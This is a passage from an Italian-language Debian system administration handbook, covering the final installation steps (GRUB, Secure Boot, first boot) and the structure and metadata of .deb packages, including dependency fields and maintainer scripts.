Un proxy HTTP è un server che inoltra le richieste HTTP effettuate dagli utenti della rete. A volte aiuta a velocizzare lo scaricamento, tenendo una copia dei file che sono stati già scaricati (questo tipo di proxy è chiamato proxy/cache). In alcuni casi, è l'unico mezzo per accedere ad un web server esterno; in questi casi è indispensabile rispondere correttamente alla domanda posta durante l'installazione, in modo da poter scaricare i pacchetti Debian attraverso il proxy.

Squid è il nome del programma server utilizzato da Falcot per offrire questo servizio.

4.2.16. Concorso Popolarità Pacchetti Debian

Debian contiene il pacchetto popularity-contest, che ha lo scopo di compilare le statistiche di utilizzo dei vari pacchetti. Ogni settimana il programma raccoglie le informazioni sui pacchetti installati e quelli utilizzati di recente, e invia queste informazioni in forma anonima ai server del progetto Debian. Il progetto può quindi utilizzare queste informazioni per determinare l'importanza relativa di ogni pacchetto, che influenzerà la priorità che gli verrà assegnata. In particolare, i pacchetti più «popolari» verranno inclusi nel CD-ROM d'installazione, questo darà la possibilità a molti utenti di non dover scaricare o acquistare il set completo, per trovare i loro programmi preferiti.

Per rispettare la privacy degli utenti, questo pacchetto verrà attivato solo su richiesta.

4.2.17. Scelta dei pacchetti per l'installazione

Il passo successivo permette di scegliere, in maniera generica, lo scopo della macchina; vengono suggeriti dieci attività corrispondenti ad elenchi di pacchetti da installare. L'elenco dei pacchetti che saranno effettivamente installati, sarà perfezionato e completato in seguito. Questo passaggio permette di avere, in modo facile, un buon punto di partenza nella selezione dei programmi.

Alcuni pacchetti sono installati automaticamente a seconda dell'hardware rilevato (grazie al programma discover-pkginstall del pacchetto discover).

Figura 4.13. Scelta delle attività

4.2.18. Installazione del bootloader GRUB

Il bootloader è il primo programma avviato dal BIOS. Questo programma carica in memoria il kernel di Linux e lo esegue. Spesso consente all'utente, tramite menu, di scegliere il kernel da caricare o il sistema operativo da avviare.

ATTENZIONE Bootloader e dual boot

Questa fase del processo dell'installazione di Debian rileva i sistemi operativi già installati nel computer, e aggiunge automaticamente le voci corrispondenti nel menu di avvio. Si tenga presente, però, che non tutti i programmi d'installazione si comportano in questo modo.

In particolare, se si installa (o reinstalla) Windows, il precedente bootloader verrà eliminato. Debian rimarrà installata sul disco, ma non sarà più accessibile dal menu d'avvio (ad eccezione di Windows 10, che sarà ancora accessibile tramite la console di ripristino di Windows). Sarà quindi necessario avviare il programma d'installazione Debian in modalità ripristino per impostare un bootloader meno limitato. Questa operazione è descritta nel dettaglio nel manuale d'installazione.

→ https://www.debian.org/releases/stable/amd64/ch08s06

Il menu proposto da GRUB, in modo predefinito, contiene tutti i kernel Linux installati e gli altri sistemi operativi rilevati. Ecco perché è consigliato installarlo nel Master Boot Record. È sempre consigliato mantenere un paio di vecchie versioni installate del kernel, dato che conservarle può evitare di trovarsi nell'impossibilità di avviare la macchina a causa di problemi legati all'ultima versione del kernel o nel caso di hardware poco supportato.

GRUB è il bootloader predefinito installato da Debian, grazie alla sua superiorità tecnica: funziona con la maggior parte dei file system e non richiede un aggiornamento dopo l'installazione di un nuovo kernel, dal momento che legge la sua configurazione durante l'avvio e trova l'esatta posizione del nuovo kernel. La versione 1 di GRUB (adesso nota come «Grub Legacy») non è in grado di gestire tutte le combinazioni di LVM e RAID software, la versione 2 invece, che è installata in maniera predefinita è più completa. Ci possono essere situazioni, però, in cui è più consigliabile installare LILO (un altro bootloader), in questi casi il programma d'installazione lo suggerisce automaticamente.

Vale la pena notare che GRUB non è un singolo bootloader, è più che altro una collezione di bootloader adatti a casi diversi. I numerosi pacchetti binari costruiti a partire dal pacchetto sorgente di GRUB lo dimostrano: grub-efi-amd64 è per l'avvio da PC a 64 bit in modalità UEFI, grub-efi-ia32 è per l'avvio da PC a 32 bit in modalità UEFI, grub-pc è per l'avvio da PC in modalità BIOS, grub-uboot per computer ARM, ecc.

Per avere più informazioni sulla configurazione di GRUB, si faccia riferimento alla Sezione 8.8.3, «Configurazione di GRUB 2».

CULTURA Secure Boot e shim bootloader

Secure Boot è una tecnologia che assicura l'esecuzione del solo software approvato dal fornitore del sistema operativo. Per garantire tale funzione ogni elemento della sequenza di avvio convalida il successivo componente software che verrà eseguito. A livello più basso, il firmware UEFI incorpora chiavi crittografiche fornite da Microsoft per controllare la firma del bootloader, verificando che sia sicuro da eseguire. Poiché ottenere un binario firmato da Microsoft è un processo lungo, Debian ha deciso di non firmare direttamente GRUB. Invece utilizza un bootloader intermedio chiamato shim, che non ha quasi mai bisogno di essere cambiato ed il cui unico ruolo è quello di controllare la firma fornita da Debian su GRUB ed eseguirlo. Per eseguire Debian su una macchina con Secure Boot abilitato, è necessario installare il pacchetto shim-signed.

Più in basso, GRUB farà un controllo simile con il kernel e quest'ultimo potrebbe anche controllare le firme sui moduli che vengono caricati. Il kernel è anche in grado di proibire alcune operazioni che potrebbero alterare l'integrità del sistema.

Debian 10 è il primo rilascio che supporta Secure Boot. Prima era necessario disabilitare questa funzione nel BIOS o da UEFI.

4.2.19. Terminare l'installazione e riavviare

L'installazione è terminata, il programma suggerisce di rimuovere il CD-ROM dal lettore e riavviare il computer.

4.3. Dopo il primo avvio

Se è stata selezionata la voce "Ambiente desktop grafico" senza aver alcun desktop (o avendo scelto "GNOME"), verrà visualizzato il gestore di login gdm3.

Figura 4.14. Il primo avvio

A questo punto, l'utente creato in fase d'installazione può accedere al sistema e iniziare a lavorare.

4.3.1. Installazione di software aggiuntivo

I pacchetti installati corrispondono ai profili selezionati durante l'installazione ma non necessariamente all'uso che veramente verrà fatto della macchina. Per questo motivo potrebbe essere una buona idea utilizzare un programma di gestione dei pacchetti per regolare la lista dei pacchetti installati. I due strumenti più utilizzati (che sono installati se è stato attivato il profilo "Ambiente desktop Debian") sono apt (accessibile da riga di comando) e synaptic (“Gestore pacchetti Synaptic“ nel menu).

Per facilitare l'installazione di gruppi di programmi coerenti, Debian crea dei «task» per utilizzi specifici (server di posta, file server, ecc.). Durante l'installazione si ha già avuto la possibilità di selezionarli, è possibile selezionarli nuovamente grazie ai programmi di gestione dei pacchetti come aptitude (i task sono elencati in una sezione apposita) e synaptic (attraverso il menu Modifica → Seleziona per attività…).

Aptitude è un'interfaccia di APT in modalità testo a schermo intero. Permette all'utente di navigare nell'elenco dei pacchetti disponibili secondo diverse categorie (pacchetti installati o non installati, per attività, per sezione, ecc.), di visualizzare tutte le informazioni disponibili su ciascuno di essi (dipendenze, conflitti, descrizione, ecc.). Ogni pacchetto può essere contrassegnato come «install» (da installare, tasto +) o «remove» (da rimuovere, tasto -). Tutte queste operazioni saranno condotte simultaneamente, una volta che sono state confermate premendo il tasto g ("g" sta per "go!"). Se sono stati dimenticati alcuni programmi, non ci si deve preoccupare; sarà possibile eseguire nuovamente aptitude una volta l'installazione è stata completata.

SUGGERIMENTO Debian pensa a chi parla lingue diverse dall'inglese

Diverse attività sono dedicate alla localizzazione del sistema in altre lingue oltre l'inglese. Queste comprendono la documentazione tradotta, i dizionari e diversi altri pacchetti utili per chi parla lingue differenti. Se durante l'installazione si è scelta una lingua diversa dall'inglese, viene selezionato automaticamente il «task» appropriato.

Naturalmente non è obbligatorio installare alcun «task». È possibile installare manualmente i programmi desiderati con gli strumenti apt od aptitude (entrambi accessibili da riga di comando).

VOCABOLARIO Dipendenze e conflitti dei pacchetti

Nel gergo dei pacchetti Debian, una "dipendenza" è un altro pacchetto necessario per il corretto funzionamento del pacchetto in questione. Al contrario, un "conflitto" è un pacchetto che non può essere installato in concomitanza con un altro.

Questi concetti sono trattati in dettaglio nel Capitolo 5, Sistema dei pacchetti: strumenti e principi fondamentali.

4.3.2. Aggiornamento del sistema

È solitamente necessario un primo apt upgrade (un comando usato per aggiornare automaticamente tutti i programmi installati), specialmente per eventuali aggiornamenti di sicurezza distribuiti dopo il rilascio dall'ultima versione stabile di Debian. Questi aggiornamenti possono comportare domande aggiuntive poste attraverso debconf, lo strumento di configurazione predefinito di Debian. Per ulteriori informazioni su come apt effettua questi aggiornamenti, fare riferimento alla Sezione 6.2.3, «Aggiornamento del sistema».

Capitolo 5. Sistema dei pacchetti: strumenti e principi fondamentali

In qualità di amministratore di sistema Debian gestirai abitualmente pacchetti .deb, poichè contengono unità funzionali coordinate (applicazioni, documentazione, ecc.), facilitandone l'installazione e la manutenzione. È perciò buona norma conoscere cosa sono e come usarli.

Questo capitolo descrive la struttura e il contenuto dei pacchetti "binari" e "sorgenti". I primi sono file direttamente utilizzabili da dpkg, mentre i secondi contengono il codice sorgente e le istruzioni per costruire pacchetti binari.

5.1. Struttura di un pacchetto binario

Il formato dei pacchetti Debian è progettato in modo che il suo contenuto possa essere estratto su qualsiasi sistema Unix che abbia i classici comandi ar, tar e xz o qualche volta gzip o bzip2. Questa proprietà apparentemente banale è importante per la portabilità e il disaster recovery.

Immagina, ad esempio, di aver eliminato per errore il programma dpkg e perciò di non poter più installare pacchetti Debian. Dal momento che dpkg è esso stesso un pacchetto Debian, sembrerebbe che il sistema sia spacciato… Fortunatamente, si conosce il formato di un pacchetto e pertanto si può scaricareil file .deb del pacchetto dpkg ed installarlo manualmente (vedi il riquadro "STRUMENTI dpkg, APT e ar). Se, sfortunatamente, uno o più dei programmi ar, tar o gzip/xz/bzip2 fosse scomparso, sarà necessario solamente copiare il programma mancante da un altro sistema (dal momento che ognuno di essi opera in maniera completamente autonoma, senza dipendenze, una semplice copia è sufficiente). Se il sistema è stato ancora più sfortunato, ed anche questi non funzionano (forse mancano le librerie principali del sistema?), si dovrebbe provare la versione statica di busybox (fornito col pacchetto busybox-static), che è ancora più autosufficiente e fornisce sottocomandi come busybox ar, busybox tar e busybox xz.

Nel peggiore dei casi è meglio che tu abbia anche un backup del tuo sistema (vedere Sezione 9.10, «Backup»).

STRUMENTI dpkg, APT e ar

dpkg è il programma che gestisce i file (pacchetti binari) .deb, in particolare l'estrazione, l'analisi e lo spacchettamento.

APT (abbreviazione di "Advanced Packaging Tool") è un gruppo di programmi che permette l'esecuzione di modifiche al sistema di più alto livello: installazione o rimozione di un pacchetto (mantenendo soddisfatte le dipendenze), aggiornamento del sistema, elenco dei pacchetti disponibili, ecc.

Per quanto riguarda il programma ar, esso permette la gestione dei file con lo stesso nome: ar t archive visualizza l'elenco dei file contenuti in tale archivio, ar x archive estrae i file dall'archivio nella directory di lavoro corrente, ar d archive file elimina un file dall'archivio, ecc. La sua pagina di manuale (ar(1)) documenta le sue numerose caratteristiche. ar è uno strumento molto rudimentale che un amministratore Unix userebbe solo in rare occasioni, ma gli amministratori abitualmente usano tar, un programma di archiviazione e gestione file più evoluto. Questo è il motivo per cui è facile da ripristinare dpkg in caso di una sua eliminazione accidentale. Dovrai solo scaricare il pacchetto Debian ed estrarre il contenuto dall'archivio data.tar.xz nella radice del sistema (root) (/):

# ar x dpkg_1.19.7_amd64.deb

# tar -C / -p -xJf data.tar.xz

FONDAMENTALI Notazione delle pagine di manuale

I principianti possono essere disorientati dal trovare riferimenti a "ar(1)" nella documentazione. Questo è generalmente un modo comodo per riferirsi alla pagina di manuale intitolata ar nella sezione 1.

Talvolta questa notazione è usata anche per evitare ambiguità, per esempio per distinguere tra il comando printf che può essere anche indicato da printf(1) e la funzione printf nel linguaggio di programmazione C, a cui ci si può riferire anche come printf(3).

Capitolo 7, Risoluzione dei problemi e reperimento delle principali informazioni tratta le pagine di manuale per maggiori dettagli (vedere la Sezione 7.1.1, «Pagine di manuale»).

Questo è il contenuto di un file .deb:

$ ar t dpkg_1.19.7_amd64.deb

debian-binary

control.tar.gz

data.tar.xz

$ ar x dpkg_1.19.7_amd64.deb

$ ls

control.tar.gz  data.tar.xz  debian-binary  dpkg_1.19.7_amd64.deb

$ tar tJf data.tar.xz | head -n 16

./

./

./etc/

./etc/alternatives/

./etc/alternatives/README

./etc/cron.daily/

./etc/cron.daily/dpkg

./etc/dpkg/

./etc/dpkg/dpkg.cfg

./etc/dpkg/dpkg.cfg.d/

./etc/logrotate.d/

./etc/logrotate.d/alternatives

./etc/logrotate.d/dpkg

./sbin/

./sbin/start-stop-daemon

./usr/

./usr/bin/

$ tar tJf control.tar.xz

./

./conffiles

./control

./md5sums

./postinst

./postrm

$ cat debian-binary

2.0

Come si può vedere, l'archivio ar di un pacchetto Debian è composto da tre file:

debian-binary

Questo è un file di testo che indica semplicemente la versione del formato del pacchetto del file .deb. In Debian Buster è ancora la 2.0.

control.tar.xz

Questo file contiene tutti i metadati disponibili, come il nome e la versione del pacchetto così come alcuni script da eseguire prima, durante o dopo un'installazione o rimozione di esso. Alcuni di questi dati permettono agli strumenti di gestione dei pacchetti di determinare se è possibile installarlo o disinstallarlo, per esempio in base all'elenco dei pacchetti già presenti sulla macchina e se i file forniti sono stati modificati localmente.

data.tar.xz, data.tar.bz2, data.tar.gz

Questo archivio contiene tutti i file che devono essere estratti dal pacchetto; qui è dove sono memorizzati i file eseguibili, le librerie, la documentazione, ecc. I pacchetti possono usare altri formati di compressione, nel qual caso il file avrà un altro nome per xz, bzip2 o gzip.

5.2. Meta-informazioni sul pacchetto

Il pacchetto Debian non è solo un archivio di file da installare. È parte di un insieme più ampio e descrive le proprie relazioni con altri pacchetti Debian (requisiti, dipendenze, conflitti, suggerimenti). Fornisce anche degli script che permettono l'esecuzione di comandi nei diversi stadi del ciclo di vita del pacchetto (installazione, aggiornamento, rimozione). Questi dati sono usati dagli strumenti di gestione dei pacchetti ma non fanno parte del software contenuto nel pacchetto; essi sono, all'interno del pacchetto, ciò che viene chiamato "metadato" (informazione che descrive un insieme di dati).

5.2.1. Descrizione: il file control

Questo file usa una struttura simile all'intestazione delle email (come definito nella RFC 2822) ed è accuratamente descritto nella Debian Policy e nelle pagine del manuale deb-control(5) e deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

Per esempio, per apt, il file control si presenta così:

$ apt-cache show apt

Package: apt

Version: 1.8.2

Installed-Size: 4064

Maintainer: APT Development Team <deity@lists.debian.org>

Architecture: amd64

Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~)

Provides: apt-transport-https (= 1.8.2)

Depends: adduser, gpgv | gpgv2 | gpgv1, debian-archive-keyring, libapt-pkg5.0 (>= 1.7.0~alpha3~), libc6 (>= 2.15), libgcc1 (>= 1:3.0), libgnutls30 (>= 3.6.6), libseccomp2 (>= 1.0.1), libstdc++6 (>= 5.2)

Recommends: ca-certificates

Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base

Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10)

Description-en: commandline package manager

This package provides commandline tools for searching and

managing as well as querying information about packages

as a low-level access to all features of the libapt-pkg library.

.

These include:

* apt-get for retrieval of packages and information about them

from authenticated sources and for installation, upgrade and

removal of packages together with their dependencies

* apt-cache for querying available information about installed

as well as installable packages

* apt-cdrom to use removable media as a source for packages

* apt-config as an interface to the configuration settings

* apt-key as an interface to manage authentication keys

Description-md5: 9fb97a88cb7383934ef963352b53b4a7

Tag: admin::package-management, devel::lang:ruby, hardware::storage,

hardware::storage:cd, implemented-in::c++, implemented-in::perl,

implemented-in::ruby, interface::commandline, network::client,

protocol::ftp, protocol::http, protocol::ipv6, role::program,

scope::application, scope::utility, suite::debian, use::downloading,

use::organizing, use::playing, use::searching, works-with-format::html,

works-with::audio, works-with::software:package, works-with::text

Section: admin

Priority: required

Filename: pool/main/a/apt/apt_1.8.2_amd64.deb

Size: 1418108

MD5sum: 0e80dedab6ec1e66a8f6c15f1925d2d3

SHA256: 80e9600822c4943106593ca5b0ec75d5aafa74c6130ba1071b013c42c507475e

FONDAMENTALI RFC — Standard per Internet

RFC è l'acronimo di "Request For Comments" ("Richiesta di commenti"). Una RFC è generalmente un documento tecnico che descrive ciò che diventerà uno standard per Internet. Prima di diventare standardizzati e congelati, questi standard sono sottoposti a una revisione pubblica (da cui il loro nome). La IETF (Internet Engineering Task Force) decide sull'evoluzione e sullo stato di questi documenti (proposta di standard, bozza di standard, standard).

RFC 2026 definisce la procedura per la standardizzazione dei protocolli Internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dipendenze: il campo Depends

Le dipendenze sono definite nel campo Depends dell'intestazione del pacchetto. Questo è un elenco di condizioni che devono essere verificate perché il pacchetto lavori correttamente. Queste informazioni sono usate da programmi come apt per installare librerie, strumenti e driver necessari, nelle versioni appropriate che soddisfano le dipendenze del pacchetto da installare. Per ogni dipendenza, è possibile restringere l'intervallo di versioni che verificano una condizione. In altre parole, è possibile esprimere il fatto che è necessario il pacchetto libc6 in una versione uguale o superiore a "2.15" (scritto "libc6 (>= 2.15)"). Gli operatori di confronto delle versioni sono i seguenti:

- <<: minore;

- <=: minore o uguale;

- =: uguale a (notare che "2.6.1" non è uguale a "2.6.1-1");

- >=: maggiore o uguale;

- >>: maggiore.

In un elenco di condizioni che devono essere verificate, la virgola rappresenta il separatore. In logica il suo significato sarebbe interpretato come "and". Nelle condizioni, la barra verticale ("|") esprime "or" in logica (è un "or" inclusivo, diverso dal significato "o... o..."). Ha una priorità superiore ad "and" e può essere usata tante volte quanto necessario. Perciò, la dipendenza "(A o B) e C" viene scritta A | B, C. Invece l'espressione "A o (B e C)" deve essere scritta come "(A o B) e (A o C)", perché il campo Depends non accetta parentesi che cambiano la priorità tra gli operatori logici "or" e "and". Verrebbe perciò scritta come A | B, A | C.

→ https://www.debian.org/doc/debian-policy/#document-ch-relationships

Il sistema delle dipendenze è un buon meccanismo per garantire il funzionamento di un programma, ma ha un altro uso con i "meta-pacchetti". Questi sono pacchetti vuoti che descrivono solamente le dipendenze. Essi facilitano l'installazione di gruppi coerenti di programmi prescelti dal manutentore del meta-pacchetto; in tal modo, apt-get install meta-pacchetto installerà automaticamente tutti questi programmi usando le dipendenze del meta-pacchetto. Esempi di meta-pacchetti sono gnome, kde e linux-image-2.6-686.

POLICY DEBIAN I campi Recommends, Suggests e Enhances

I campi Recommends e Suggests descrivono dipendenze non obbligatorie. Le dipendenze "raccomandate", le più importanti, migliorano considerevolmente le funzionalità offerte dal pacchetto, ma non sono indispensabili al suo funzionamento. Le dipendenze "consigliate", di importanza secondaria, indicano che certi pacchetti possono integrare o aumentare la loro rispettiva utilità, ma è perfettamente ragionevole installarne uno senza gli altri.

Dovresti sempre installare i pacchetti "raccomandati", a meno che tu non sappia esattamente che non ne hai bisogno. Questo, ora, è il comportamento predefinito per APT a meno che non sia configurato diversamente. Al contrario, non è necessario installare i pacchetti "suggeriti" a meno che non si sappia di averne bisogno. Il comportamento di apt può essere controllato usando le opzioni di configurazione APT::Install-Recommends e APT::Install-Suggests o le corrispondenti opzioni a riga di comando --[no-]install-recommends e --[no-]install-suggests.

Anche il campo Enhances descrive un consiglio, ma in un contesto differente. Infatti si trova nel pacchetto consigliato, non nel pacchetto che beneficia del consiglio. È interessante perché è possibile aggiungere un consiglio senza dover modificare il pacchetto interessato. Perciò, tutte le aggiunte, plug-in, e altre estensioni a un programma possono prendere posto nell'elenco di consigli relativi a quel software. Sebbene esista da diversi anni, quest'ultimo campo è ancora largamente ignorato da programmi come apt-get o synaptic. Il suo scopo è far apparire all'utente un consiglio fatto dal campo Enhances in aggiunta ai tradizionali consigli trovati nel campo Suggests.

POLICY DEBIAN Pre-Depends, più esigente di Depends

Le "pre-dipendenze", che sono elencate nel campo "Pre-Depends" nelle intestazioni del pacchetto, completano le normali dipendenze; la loro sintassi è identica. Una normale dipendenza indica che il pacchetto in questione deve essere scompattato e configurato prima del pacchetto che dichiara la pre-dipendenza. Una pre-dipendenza indica espressamente che il pacchetto in questione deve essere scompattato e configurato prima dell'esecuzione dello script di pre-installazione del pacchetto che dichiara la pre-dipendenza, cioè prima della sua installazione.

Una pre-dipendenza è molto forte per apt perché aggiunge un vincolo stretto sull'ordine dei pacchetti da installare. Pertanto, le pre-dipendenze sono scoraggiate se non assolutamente necessarie. È anche consigliato consultare altri sviluppatori in <debian-devel@lists.debian.org> prima di aggiungere una pre-dipendenza. In genere è possibile trovare un'altra soluzione per aggirare il problema.

5.2.1.2. Conflitti: il campo Conflicts

Il campo Conflitti indica quando un pacchetto non può essere installato insieme ad un altro. I motivi più comuni sono che entrambi i pacchetti contengono un file con lo stesso nome e percorso o forniscono lo stesso servizio sulla stessa porta TCP, oppure si ostacolerebbero a vicenda durante il funzionamento.

dpkg si rifiuterà di installare un pacchetto che provoca un conflitto con un pacchetto già installato, a meno che il nuovo pacchetto non specifichi che "sostituisce" il pacchetto installato, nel qual caso dpkg sceglierà di sostituire il vecchio pacchetto con quello nuovo. apt segue sempre le istruzioni: se si sceglie di installare un nuovo pacchetto, offrirà automaticamente di disinstallare il pacchetto che crea un problema.

5.2.1.3. Incompatibilità: il campo Breaks

Il campo Breaks ha un effetto simile a Conflicts, ma con un significato speciale. Segnala che l'installazione di un pacchetto "renderà difettoso" un altro pacchetto (o delle sue versioni particolari). In generale, questa incompatibilità tra due pacchetti è transitoria e la relazione Breaks fa specifico riferimento alle versioni incompatibili.

dpkg si rifiuterà di installare un pacchetto che rende difettoso un pacchetto già installato e apt cercherà di risolvere il problema aggiornando il pacchetto che sarebbe reso difettoso a una nuova versione (che si suppone corretta e, perciò, di nuovo compatibile).

Questo tipo di situazione può accadere in caso di aggiornamenti senza compatibilità all'indietro: questo è il caso di una nuova versione che non funziona più insieme alla vecchia versione e causa un malfunzionamento in un altro programma senza avere accorgimenti speciali. Il campo Breaks evita che l'utente incontri tali problemi.

5.2.1.4. Oggetti forniti: il campo Provides

Questo campo introduce il concetto molto interessante di "pacchetto virtuale". Ha molti ruoli, ma due sono particolarmente importanti. Il primo ruolo consiste nell'usare un pacchetto virtuale per associare ad esso un servizio generico (il pacchetto "fornisce" il servizio). Il secondo indica che un pacchetto sostituisce completamente un altro e che per questo scopo può anche soddisfare le dipendenze che l'altro soddisferebbe. Perciò è possibile creare un pacchetto sostitutivo senza dover usare il solito nome di pacchetto.

VOCABOLARIO Meta-pacchetto e pacchetto virtuale

È essenziale distinguere chiaramente i meta-pacchetti dai pacchetti virtuali. I primi sono pacchetti reali (che comprendono dei file .deb reali), il cui unico scopo è di esprimere dipendenze.

I pacchetti virtuali, invece, non esistono fisicamente; sono solo un mezzo per identificare pacchetti reali in base a criteri comuni e logici (servizio fornito, compatibilità con un programma standard o con un pacchetto preesistente, ecc.).

5.2.1.4.1. Fornire un "servizio"

Il primo caso può essere discusso nei dettagli con un esempio: si dice che tutti server di posta, come postfix o sendmail "forniscono" il pacchetto virtuale mail-transport-agent. Perciò, ogni pacchetto che abbia bisogno di questo servizio per funzionare (es. un gestore di mailing list come smartlist o sympa) semplicemente dichiara nelle proprie dipendenze di richiedere mail-transport-agent invece di specificare un lungo ed incompleto elenco di possibili soluzioni (es. postfix | sendmail | exim | …). Inoltre, è inutile installare due server di posta sulla stessa macchina, questo è il motivo per cui ognuno di tali pacchetti dichiara un conflitto con il pacchetto virtuale mail-transport-agent. Il conflitto di un pacchetto con sé stesso viene ignorato dal sistema, ma questa tecnica impedisce l'installazione contemporanea di due server di posta.

POLICY DEBIAN Elenco di pacchetti virtuali

Perché i pacchetti virtuali siano utili, tutti devono concordare sul loro nome. Questo è il motivo per cui sono standardizzati nella Policy Debian. L'elenco include tra gli altri mail-transport-agent per i server di posta, c-compiler per i compilatori del linguaggio di programmazione C, www-browser per i browser web, httpd per i server web, ftp-server per i server FTP, x-terminal-emulator per gli emulatori di terminale in modalità grafica (xterm) e x-window-manager per i gestori di finestre.

L'elenco completo si può trovare sul Web.

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. Interscambiabilità con un altro pacchetto

Il campo Provides è interessante anche quando il contenuto di un pacchetto è incluso in un pacchetto più grande. Per esempio, il modulo Perl libdigest-md5-perl era un modulo opzionale in Perl 5.6 ed è stato integrato come standard in Perl 5.8 (e nelle versioni successive, come la 5.28 presente in Buster). Perciò, dalla versione 5.8, il pacchetto perl riporta Provides: libdigest-md5-perl così che le dipendenze da questo pacchetto sono soddisfate se l'utente ha Perl 5.8 (o successivi). Il pacchetto libdigest-md5-perl vero e proprio è stato infine eliminato poichè, da quando le vecchie versioni di Perl sono state rimosse, non aveva più alcuno scopo.

Figura 5.1. Uso del campo Provides per non lasciare dipendenze non soddisfatte

Questa caratteristica è molto utile dal momento che non è mai possibile anticipare le variabilità dello sviluppo ed è necessario essere in grado di adattarsi ai cambiamenti di nome del software obsoleto e ad altre sostituzioni automatiche.

FONDAMENTALI Perl, un linguaggio di programmazione

Perl (Practical Extraction and Report Language) è un linguaggio di programmazione molto popolare. Ha molti moduli pronti all'uso che coprono un vasto spettro di applicazioni e che sono distribuiti tramite i server CPAN (Comprehensive Perl Archive Network), una completa rete di pacchetti Perl.

→ https://www.perl.org/

→ https://www.cpan.org/

Dal momento che è un linguaggio interpretato, un programma scritto in Perl non richiede una compilazione prima dell'esecuzione. Questo è il motivo per cui sono chiamati "script Perl".

5.2.1.4.3. Vecchie limitazioni

I pacchetti virtuali soffrono di alcune limitazioni, la più significativa delle quali è l'assenza di un numero di versione. Per tornare all'esempio precedente, una dipendenza come Depends: libdigest-md5-perl (>= 1.6), nonostante la presenza di Perl 5.10, non verrà mai considerata soddisfatta dal sistema dei pacchetti — mentre in realtà molto probabilmente è soddisfatta. Inconsapevole di ciò, il sistema dei pacchetti sceglie l'opzione meno rischiosa, supponendo che le versioni non coincidano.

Questa limitazione è stata superata in dpkg 1.17.11, e non è più presente. I pacchetti possono assegnare una versione ai pacchetti virtuali ai quali forniscono una dipendenza come Provides: libdigest-md5-perl (= 1.8).

5.2.1.5. Sostituzione di file: il campo Replaces

Il campo Replaces indica che il pacchetto contiene file che sono presenti anche in un altro pacchetto ma che, comunque, è legittimamente titolato a sostituire. Senza questa indicazione, dpkg fallisce dichiarando che non può sovrascrivere i file di un altro pacchetto (tecnicamente è possibile obbligarlo a farlo con l'opzione --force-overwrite, ma questa non è considerata un'operazione regolare). Ciò permette di identificare potenziali problemi e obbliga il manutentore a studiare la situazione prima di scegliere se aggiungere tale campo.

L'uso di questo campo è giustificato quando il nome del pacchetto cambia o quando un pacchetto è incluso in un altro. Questo succede anche quando il manutentore decide di distribuire i file in maniera differente tra i vari pacchetti binari prodotti dallo stesso pacchetto sorgente: un file sostituito non appartiene più al vecchio pacchetto, ma solo a quello nuovo.

Se tutti i file di un pacchetto installato sono stati sostituiti, il pacchetto è considerato come rimosso. Infine, questo campo istruisce dpkg a rimuovere il pacchetto sostituito quando c'è un conflitto.

APPROFONDIMENTI Il campo Tag

Nell'esempio precedente di apt, si può vedere la presenza di un campo che non è stato ancora descritto, il campo Tag. Esso non descrive una relazione tra pacchetti, ma è semplicemente un modo per classificare i pacchetti in categorie in base al tema. Questa classificazione di pacchetti secondo diversi criteri (tipo di interfaccia, linguaggio di programmazione, campo di applicazione, ecc.) è disponibile in Debian da molto tempo. Nonostante ciò, non tutti i pacchetti hanno etichette accurate e non è ancora integrata in tutti gli strumenti di Debian; aptitude mostra queste etichette e permette di usarle come criteri di ricerca. Per coloro che non gradiscono i criteri di ricerca di aptitude, il seguente sito permette la navigazione del database delle etichette:

→ https://wiki.debian.org/Debtags

5.2.2. Script di configurazione

In aggiunta al file control, l'archivio control.tar.gz di ogni pacchetto Debian può contenere alcuni script, chiamati da dpkg a differenti stadi dell'elaborazione di un pacchetto. La Policy Debian descrive in dettaglio i casi possibili, specificando gli script chiamati e gli argomenti che ricevono. Queste sequenze possono essere complicate, dal momento che, se uno degli script fallisce, dpkg cercherà di ritornare a uno stato soddisfacente annullando l'installazione o la rimozione in corso (per quanto possibile).

APPROFONDIMENTI Il database di dpkg

Tutti gli script di configurazione per i pacchetti installati sono memorizzati nella directory /var/lib/dpkg/info/, sotto forma di file il cui nome inizia con il nome del pacchetto. Questa directory comprende anche un file con l'estensione .list per ogni pacchetto, che contiene l'elenco dei file che appartengono a tale pacchetto.

Il file /var/lib/dpkg/status contiene una serie di blocchi di dati (nel formato delle note intestazioni di posta, RFC 2822) che descrive lo stato di ogni pacchetto. Anche le informazioni del file control del pacchetto installato sono duplicate qui.

In genere, lo script preinst viene eseguito prima dell'installazione del pacchetto, seguito da postinst. Nella stessa maniera, prerm viene invocato prima della rimozione di un pacchetto e postrm dopo. Un aggiornamento di un pacchetto equivale alla rimozione della versione precedente e all'installazione di quella nuova. Non è possibile descrivere qui i dettagli di tutti i possibili scenari, ma saranno discussi i due più comuni: un'installazione/aggiornamento e una rimozione.

ATTENZIONE Nomi simbolici degli script

Le sequenze descritte in questa sezione chiamano gli script di configurazione con nomi specifici come old-prerm o new-postinst. Sono rispettivamente lo script prerm contenuto nella vecchia versione del pacchetto (installata prima dell'aggiornamento) e lo script postinst contenuto nella nuova versione (installata dall'aggiornamento).

SUGGERIMENTO Diagrammi di stato

Manoj Srivastava e Margarita Manterola hanno creato questi diagrammi che spiegano come gli script di configurazione vengono chiamati da dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Installazione e aggiornamento

Ecco cosa succede durante un'installazione (o un aggiornamento):

1. Per un aggiornamento, dpkg chiama old-prerm upgrade new-version.

2. Per un aggiornamento, dpkg poi esegue new-preinst upgrade vecchia-versione; per una prima installazione, esegue new-preinst install. Può anche aggiungere la vecchia versione nell'ultimo parametro, se il pacchetto è già stato installato e rimosso (ma non completamente e i vecchi file di configurazione sono stati conservati).

3. Poi i file del nuovo pacchetto vengono scompattati. Se un file esiste già, viene sostituito, ma viene fatta temporaneamente una copia di backup.

4. Per un aggiornamento, dpkg esegue old-postrm upgrade nuova-versione.

